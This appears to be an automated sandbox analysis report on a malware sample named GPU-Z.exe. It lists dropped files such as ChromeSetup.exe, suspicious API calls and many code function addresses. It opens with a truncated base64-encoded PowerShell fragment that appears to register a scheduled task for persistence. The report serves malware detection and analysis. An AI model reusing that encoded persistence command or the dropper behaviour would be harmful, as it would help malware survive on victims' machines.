QBVAHAAZABhAHQAZQAiACAALQBUAHIAaQBnAGcAZQByACAAJABUAHIAaQBnAGcAZQByACAALQBBAGMAdABpAG8AbgAgACQAQQBjAHQAaQBvAG4AIAAtAFAAcgBpAG4AYwBpAHAAYQBsACAAJABQAHIAaQBuAGMAaQBwAGEAbAA=	Jump to behavior

System Summary

Powershell drops PE file

Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe

Jump to dropped file

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_0040CC50 NtWriteFile,WaitForSingleObject,RtlNtStatusToDosError,		6_2_0040CC50
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_00412B60 NtReadFile,WaitForSingleObject,RtlNtStatusToDosError,		6_2_00412B60

Source: C:\Users\user\Desktop\GPU-Z.exe

Code function: 0_2_07FEFC00 CreateProcessAsUserW,

0_2_07FEFC00

Source: C:\Windows\System32\svchost.exe	File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	File created: C:\Windows\SystemTemp\Google4304_579248284
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	File created: C:\Windows\SystemTemp\Google4304_579248284\UPDATER.PACKED.7Z
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	File created: C:\Windows\SystemTemp\Google4304_299551820
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	File created: C:\Windows\SystemTemp\Google4304_299551820\updater.7z
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	File created: C:\Windows\SystemTemp\Google4304_299551820\bin
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	File created: C:\Windows\SystemTemp\Google4304_299551820\bin\uninstall.cmd
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	File created: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe

Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe

File deleted: C:\Windows\SystemTemp\Google4304_299551820\updater.7z

Source: C:\Users\user\Desktop\GPU-Z.exe	Code function: 0_2_031B81A8	0_2_031B81A8
Source: C:\Users\user\Desktop\GPU-Z.exe	Code function: 0_2_031B9270	0_2_031B9270
Source: C:\Users\user\Desktop\GPU-Z.exe	Code function: 0_2_031B7458	0_2_031B7458
Source: C:\Users\user\Desktop\GPU-Z.exe	Code function: 0_2_031BBD18	0_2_031BBD18
Source: C:\Users\user\Desktop\GPU-Z.exe	Code function: 0_2_05836400	0_2_05836400
Source: C:\Users\user\Desktop\GPU-Z.exe	Code function: 0_2_05836410	0_2_05836410
Source: C:\Users\user\Desktop\GPU-Z.exe	Code function: 0_2_05834A2C	0_2_05834A2C
Source: C:\Users\user\Desktop\GPU-Z.exe	Code function: 0_2_06784608	0_2_06784608
Source: C:\Users\user\Desktop\GPU-Z.exe	Code function: 0_2_0678E530	0_2_0678E530
Source: C:\Users\user\Desktop\GPU-Z.exe	Code function: 0_2_067845F8	0_2_067845F8
Source: C:\Users\user\Desktop\GPU-Z.exe	Code function: 0_2_07FE8B38	0_2_07FE8B38
Source: C:\Users\user\Desktop\GPU-Z.exe	Code function: 0_2_07FE1EA0	0_2_07FE1EA0
Source: C:\Users\user\Desktop\GPU-Z.exe	Code function: 0_2_07FED5E0	0_2_07FED5E0
Source: C:\Users\user\Desktop\GPU-Z.exe	Code function: 0_2_07FE2D0D	0_2_07FE2D0D
Source: C:\Users\user\Desktop\GPU-Z.exe	Code function: 0_2_07FE14D8	0_2_07FE14D8
Source: C:\Users\user\Desktop\GPU-Z.exe	Code function: 0_2_07FE0C50	0_2_07FE0C50
Source: C:\Users\user\Desktop\GPU-Z.exe	Code function: 0_2_07FE0040	0_2_07FE0040
Source: C:\Users\user\Desktop\GPU-Z.exe	Code function: 0_2_07FE5408	0_2_07FE5408
Source: C:\Users\user\Desktop\GPU-Z.exe	Code function: 0_2_07FE53FA	0_2_07FE53FA
Source: C:\Users\user\Desktop\GPU-Z.exe	Code function: 0_2_07FE4FE8	0_2_07FE4FE8
Source: C:\Users\user\Desktop\GPU-Z.exe	Code function: 0_2_07FE4FD9	0_2_07FE4FD9
Source: C:\Users\user\Desktop\GPU-Z.exe	Code function: 0_2_07FE5FB8	0_2_07FE5FB8
Source: C:\Users\user\Desktop\GPU-Z.exe	Code function: 0_2_07FE53B9	0_2_07FE53B9
Source: C:\Users\user\Desktop\GPU-Z.exe	Code function: 0_2_07FE5FB1	0_2_07FE5FB1
Source: C:\Users\user\Desktop\GPU-Z.exe	Code function: 0_2_07FE9B50	0_2_07FE9B50
Source: C:\Users\user\Desktop\GPU-Z.exe	Code function: 0_2_07FE8B28	0_2_07FE8B28
Source: C:\Users\user\Desktop\GPU-Z.exe	Code function: 0_2_07FE4708	0_2_07FE4708
Source: C:\Users\user\Desktop\GPU-Z.exe	Code function: 0_2_07FE46F8	0_2_07FE46F8
Source: C:\Users\user\Desktop\GPU-Z.exe	Code function: 0_2_07FEC690	0_2_07FEC690
Source: C:\Users\user\Desktop\GPU-Z.exe	Code function: 0_2_07FE1E91	0_2_07FE1E91
Source: C:\Users\user\Desktop\GPU-Z.exe	Code function: 0_2_07FE5260	0_2_07FE5260
Source: C:\Users\user\Desktop\GPU-Z.exe	Code function: 0_2_07FE5250	0_2_07FE5250
Source: C:\Users\user\Desktop\GPU-Z.exe	Code function: 0_2_07FE49F8	0_2_07FE49F8
Source: C:\Users\user\Desktop\GPU-Z.exe	Code function: 0_2_07FE8DC8	0_2_07FE8DC8
Source: C:\Users\user\Desktop\GPU-Z.exe	Code function: 0_2_07FE4DB0	0_2_07FE4DB0
Source: C:\Users\user\Desktop\GPU-Z.exe	Code function: 0_2_07FE4DA1	0_2_07FE4DA1
Source: C:\Users\user\Desktop\GPU-Z.exe	Code function: 0_2_07FE14C8	0_2_07FE14C8
Source: C:\Users\user\Desktop\GPU-Z.exe	Code function: 0_2_07FE1CC8	0_2_07FE1CC8
Source: C:\Users\user\Desktop\GPU-Z.exe	Code function: 0_2_07FEDC50	0_2_07FEDC50
Source: C:\Users\user\Desktop\GPU-Z.exe	Code function: 0_2_07FE0C31	0_2_07FE0C31
Source: C:\Users\user\Desktop\GPU-Z.exe	Code function: 0_2_07FE3C28	0_2_07FE3C28
Source: C:\Users\user\Desktop\GPU-Z.exe	Code function: 0_2_07FE001F	0_2_07FE001F
Source: C:\Users\user\Desktop\GPU-Z.exe	Code function: 0_2_07FF3E28	0_2_07FF3E28
Source: C:\Users\user\Desktop\GPU-Z.exe	Code function: 0_2_07FF0040	0_2_07FF0040
Source: C:\Users\user\Desktop\GPU-Z.exe	Code function: 0_2_07FF06D8	0_2_07FF06D8
Source: C:\Users\user\Desktop\GPU-Z.exe	Code function: 0_2_07FF06C8	0_2_07FF06C8
Source: C:\Users\user\Desktop\GPU-Z.exe	Code function: 0_2_07FF4E58	0_2_07FF4E58
Source: C:\Users\user\Desktop\GPU-Z.exe	Code function: 0_2_07FF0007	0_2_07FF0007
Source: C:\Users\user\Desktop\GPU-Z.exe	Code function: 0_2_088DC080	0_2_088DC080
Source: C:\Users\user\Desktop\GPU-Z.exe	Code function: 0_2_088D0040	0_2_088D0040
Source: C:\Users\user\Desktop\GPU-Z.exe	Code function: 0_2_088D45B8	0_2_088D45B8
Source: C:\Users\user\Desktop\GPU-Z.exe	Code function: 0_2_08A9FAD0	0_2_08A9FAD0
Source: C:\Users\user\Desktop\GPU-Z.exe	Code function: 0_2_08A947A0	0_2_08A947A0
Source: C:\Users\user\Desktop\GPU-Z.exe	Code function: 0_2_08A9FAC2	0_2_08A9FAC2
Source: C:\Users\user\Desktop\GPU-Z.exe	Code function: 0_2_08A90006	0_2_08A90006
Source: C:\Users\user\Desktop\GPU-Z.exe	Code function: 0_2_08A90040	0_2_08A90040
Source: C:\Users\user\Desktop\GPU-Z.exe	Code function: 0_2_08BAADA0	0_2_08BAADA0
Source: C:\Users\user\Desktop\GPU-Z.exe	Code function: 0_2_08BAE9A7	0_2_08BAE9A7
Source: C:\Users\user\Desktop\GPU-Z.exe	Code function: 0_2_08BA2D20	0_2_08BA2D20
Source: C:\Users\user\Desktop\GPU-Z.exe	Code function: 0_2_08BA6AAE	0_2_08BA6AAE
Source: C:\Users\user\Desktop\GPU-Z.exe	Code function: 0_2_08BA2CCD	0_2_08BA2CCD
Source: C:\Users\user\Desktop\GPU-Z.exe	Code function: 0_2_08A946F4	0_2_08A946F4
Source: C:\Users\user\Desktop\GPU-Z.exe	Code function: 0_2_08A94790	0_2_08A94790
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_011480A0	3_2_011480A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_01147350	3_2_01147350
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_01142560	3_2_01142560
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_050B6520	3_2_050B6520
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_050B6530	3_2_050B6530
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_050BC968	3_2_050BC968
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_050B5170	3_2_050B5170
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_06104708	3_2_06104708
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_0610E630	3_2_0610E630
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_061046D8	3_2_061046D8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_077047B8	3_2_077047B8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_0770C280	3_2_0770C280
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_07700040	3_2_07700040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_078D4B60	3_2_078D4B60
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_078D03F0	3_2_078D03F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_078D0400	3_2_078D0400
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_0799E253	3_2_0799E253
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_0799EE70	3_2_0799EE70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_0799D1BB	3_2_0799D1BB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_079995C0	3_2_079995C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_07993D48	3_2_07993D48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_07992D10	3_2_07992D10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_07992D20	3_2_07992D20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_07BE27E8	3_2_07BE27E8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_07BE36F0	3_2_07BE36F0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_07C0E368	3_2_07C0E368
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_07C086F8	3_2_07C086F8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_07C00E01	3_2_07C00E01
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_07C035A8	3_2_07C035A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_07C0B558	3_2_07C0B558
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_07C06CE0	3_2_07C06CE0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_07C00040	3_2_07C00040
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_07C09048	3_2_07C09048
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_07C01BF0	3_2_07C01BF0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_07C033F1	3_2_07C033F1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_07C02B98	3_2_07C02B98
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_07C0BF40	3_2_07C0BF40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_07C086E9	3_2_07C086E9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_07C0C6A8	3_2_07C0C6A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_07C019C0	3_2_07C019C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_07C01DC8	3_2_07C01DC8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_07C03183	3_2_07C03183
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_07C03188	3_2_07C03188
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_07C0359B	3_2_07C0359B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_07C01DB8	3_2_07C01DB8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_07C0AD48	3_2_07C0AD48
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_07C04158	3_2_07C04158
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_07C06CD0	3_2_07C06CD0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_07C07CF8	3_2_07C07CF8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_07C02898	3_2_07C02898
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_07C028A8	3_2_07C028A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_07C040A8	3_2_07C040A8
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_07C03400	3_2_07C03400
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 3_2_078D4B51	3_2_078D4B51
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_0041D060	6_2_0041D060
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_00415838	6_2_00415838
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_00401535	6_2_00401535
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_00401064	6_2_00401064
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_00406820	6_2_00406820
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_00404250	6_2_00404250
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_00409A80	6_2_00409A80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_00402B94	6_2_00402B94
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_00402BA0	6_2_00402BA0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_004094B0	6_2_004094B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_0040CD20	6_2_0040CD20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_00404D30	6_2_00404D30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_00411DCE	6_2_00411DCE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_00412D90	6_2_00412D90
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_004226CC	6_2_004226CC
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\AddInProcess32.exe	Code function: 6_2_0040F790	6_2_0040F790
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 11_2_04E1D1D8	11_2_04E1D1D8
Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe	Code function: 11_2_04E1D1C9	11_2_04E1D1C9
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Code function: 18_2_00FD90F0	18_2_00FD90F0
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Code function: 18_2_01019160	18_2_01019160
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Code function: 18_2_00FF72D0	18_2_00FF72D0
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Code function: 18_2_01002260	18_2_01002260
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Code function: 18_2_00FD8D90	18_2_00FD8D90
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Code function: 18_2_00FE5E80	18_2_00FE5E80
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Code function: 18_2_00FE1FE0	18_2_00FE1FE0
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Code function: 18_2_0103A130	18_2_0103A130
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Code function: 18_2_010DF130	18_2_010DF130
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Code function: 18_2_00FA00B0	18_2_00FA00B0
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Code function: 18_2_01004180	18_2_01004180
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Code function: 18_2_01083190	18_2_01083190
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Code function: 18_2_010391D0	18_2_010391D0
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Code function: 18_2_011721C0	18_2_011721C0
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Code function: 18_2_01047030	18_2_01047030
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Code function: 18_2_01162040	18_2_01162040
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Code function: 18_2_00FFA180	18_2_00FFA180
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Code function: 18_2_00FFD170	18_2_00FFD170
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Code function: 18_2_00FE8160	18_2_00FE8160
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Code function: 18_2_00FFC150	18_2_00FFC150
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Code function: 18_2_00F232A2	18_2_00F232A2
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Code function: 18_2_00FFC290	18_2_00FFC290
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Code function: 18_2_00F2F240	18_2_00F2F240
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Code function: 18_2_00FFB3D0	18_2_00FFB3D0
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Code function: 18_2_01003240	18_2_01003240
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Code function: 18_2_00FB8360	18_2_00FB8360
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Code function: 18_2_00FD74E0	18_2_00FD74E0
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Code function: 18_2_010E7544	18_2_010E7544
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Code function: 18_2_00FDE460	18_2_00FDE460
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Code function: 18_2_00FFB5D0	18_2_00FFB5D0
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Code function: 18_2_01172420	18_2_01172420
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Code function: 18_2_0103F450	18_2_0103F450
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Code function: 18_2_0100F490	18_2_0100F490
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Code function: 18_2_00FE4530	18_2_00FE4530
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Code function: 18_2_01044710	18_2_01044710
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Code function: 18_2_0110C70A	18_2_0110C70A
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Code function: 18_2_0105B600	18_2_0105B600
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Code function: 18_2_01205910	18_2_01205910
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Code function: 18_2_0105E9F0	18_2_0105E9F0
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Code function: 18_2_00FC5990	18_2_00FC5990
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Code function: 18_2_00FE4940	18_2_00FE4940
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Code function: 18_2_010668F0	18_2_010668F0
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Code function: 18_2_01086B50	18_2_01086B50
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Code function: 18_2_010E6BC0	18_2_010E6BC0
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Code function: 18_2_01054BF0	18_2_01054BF0
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Code function: 18_2_010E3A9A	18_2_010E3A9A
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Code function: 18_2_01080AD0	18_2_01080AD0
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Code function: 18_2_00FDDC90	18_2_00FDDC90
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Code function: 18_2_00F23C80	18_2_00F23C80
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Code function: 18_2_01038DF0	18_2_01038DF0
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Code function: 18_2_0106ECE0	18_2_0106ECE0
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Code function: 18_2_01004F00	18_2_01004F00
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Code function: 18_2_01205F90	18_2_01205F90
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Code function: 18_2_01041FB0	18_2_01041FB0
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Code function: 18_2_00FE1E00	18_2_00FE1E00
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Code function: 18_2_010E2E09	18_2_010E2E09
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Code function: 18_2_00FFBFD0	18_2_00FFBFD0
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Code function: 18_2_01118E70	18_2_01118E70
Source: C:\Users\user\AppData\Local\Temp\ChromeSetup.exe	Code function: 18_2_0104CE90	18_2_0104CE90
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: 19_2_008171C0	19_2_008171C0
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: 19_2_0083C200	19_2_0083C200
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: 19_2_00847210	19_2_00847210
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: 19_2_00825CE0	19_2_00825CE0
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: 19_2_00816E60	19_2_00816E60
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: 19_2_0085F660	19_2_0085F660
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: 19_2_008C28D0	19_2_008C28D0
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: 19_2_00A85870	19_2_00A85870
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: 19_2_009771FA	19_2_009771FA
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: 19_2_0094C1E3	19_2_0094C1E3
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: 19_2_008E8140	19_2_008E8140
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: 19_2_008E5A80	19_2_008E5A80
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: 19_2_0072F240	19_2_0072F240
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: 19_2_0088DAB0	19_2_0088DAB0
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: 19_2_00950390	19_2_00950390
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: 19_2_00881B90	19_2_00881B90
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: 19_2_0099AB10	19_2_0099AB10
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: 19_2_008EBB00	19_2_008EBB00
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: 19_2_0088B350	19_2_0088B350
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: 19_2_00948430	19_2_00948430
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: 19_2_008C5D80	19_2_008C5D80
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: 19_2_007F0550	19_2_007F0550
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: 19_2_00950D14	19_2_00950D14
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: 19_2_007F1DF0	19_2_007F1DF0
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: 19_2_00822EB0	19_2_00822EB0
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: 19_2_00A85EF0	19_2_00A85EF0
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: 19_2_008886F0	19_2_008886F0
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: 19_2_008AFE30	19_2_008AFE30
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: 19_2_0094CE74	19_2_0094CE74
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: 19_2_008CAF80	19_2_008CAF80
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: 19_2_007C3760	19_2_007C3760
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: 19_2_007BEF10	19_2_007BEF10
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: 19_2_00881750	19_2_00881750
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: 20_2_00839340	20_2_00839340
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: 20_2_008C28D0	20_2_008C28D0
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: 20_2_008171C0	20_2_008171C0
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: 20_2_009759C1	20_2_009759C1
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: 20_2_009771FA	20_2_009771FA
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: 20_2_0094C1E3	20_2_0094C1E3
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: 20_2_0088DAB0	20_2_0088DAB0
Source: C:\Windows\SystemTemp\Google4304_299551820\bin\updater.exe	Code function: 20_2_00847210	20_2_00847210
